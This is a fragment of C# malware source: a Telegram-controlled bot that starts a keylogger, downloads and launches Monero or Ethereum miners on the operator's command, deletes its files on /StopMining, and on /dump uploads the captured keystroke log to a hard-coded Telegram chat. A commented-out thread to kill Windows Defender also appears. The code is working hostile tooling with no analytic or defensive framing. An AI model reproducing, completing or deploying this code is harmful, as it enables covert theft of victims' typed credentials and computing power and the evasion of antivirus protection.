static void Main(string[] args) { // Thread thread_killDefender = new Thread(killDefender); //thread_killDefender.Start(); Telegram.Start(); Console.WriteLine("Done"); if (Properties.Settings.Default.Logging) { Keylogger.Start(); } if (Properties.Settings.Default.Current == "eth") { } }
static void client_UpdatesReceived(object sender, TelegramUpdateEventArgs e) { var client = (TelegramBotClient)sender; foreach (var item in e.Updates) { Console.WriteLine("New Message"); if (item.Message.Text != null) { if (item.Message.Chat.Id == 461266500) { if (item.Message.Text == "CheckGPU") { Console.WriteLine(1); Console.WriteLine(CheckGPU()); } else if (item.Message.Text.Contains("/xmr ")) { download(item.Message.Text.Replace("/xmr ", ""), "xmr"); Properties.Settings.Default.Current = "xmr"; Properties.Settings.Default.Save(); } else if (item.Message.Text.Contains("/eth ")) { if (CheckGPU()) { // download(item.Message.Text.Replace("/eth ", ""), "eth"); Console.WriteLine("Download Complete"); StartMine("eth"); Properties.Settings.Default.Current = "eth"; Properties.Settings.Default.Save(); } else if (Properties.Settings.Default.Current != "xmr") { download(item.Message.Text.Replace("/xmr ", ""), "xmr"); Properties.Settings.Default.Current = "xmr"; Properties.Settings.Default.Save(); } } else if (item.Message.Text.Contains("/setGPU ")) { string raw = item.Message.Text.Replace("/setGPU ", ""); setValue(raw, "gpus"); } else if (item.Message.Text == "/StopMining") { DirectoryInfo dir = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\sys\\"); foreach (FileInfo file in dir.GetFiles()) { file.Delete(); } foreach (DirectoryInfo subdir in dir.GetDirectories()) { subdir.Delete(true); } Properties.Settings.Default.Current = "None"; Properties.Settings.Default.Save(); } else if (item.Message.Text == "/StartLogging") { if (!Properties.Settings.Default.Logging) { Keylogger.Start(); Properties.Settings.Default.Logging = true; Properties.Settings.Default.Save(); } } else if (item.Message.Text == "/StopLogging") { if (Properties.Settings.Default.Logging) { Keylogger.Stop(); Properties.Settings.Default.Logging = false; Properties.Settings.Default.Save(); } } else if (item.Message.Text == "/dump") { string path = Path.GetTempPath() + 1234567890 + ".txt"; FileInfo pathInfo = new FileInfo(path); if (pathInfo.Exists) { var log = new NetTelebot.Type.NewFile() { FileContent = File.ReadAllBytes(path), FileName = "LOG.TXT" }; client.SendDocument(461266500, log); pathInfo.Delete(); Properties.Settings.Default.LogFile = false; Properties.Settings.Default.Save(); } } else if (item.Message.Text.Contains("/setSites ")) { string raw = item.Message.Text.Replace("/setSites ", ""); setValue(raw, "Sites"); } else if (item.Message.Text == "/stats") { CheckGPU(); client.SendMessage(item.Message.Chat.Id, String.Format("{0}{1} LOGFILE:{2} LOGGING:{3}", Properties.Settings.Default.Current.ToUpper(), Properties.Settings.Default.InstalledGPU, Properties.Settings.Default.LogFile, Properties.Settings.Default.Logging)); } } } } }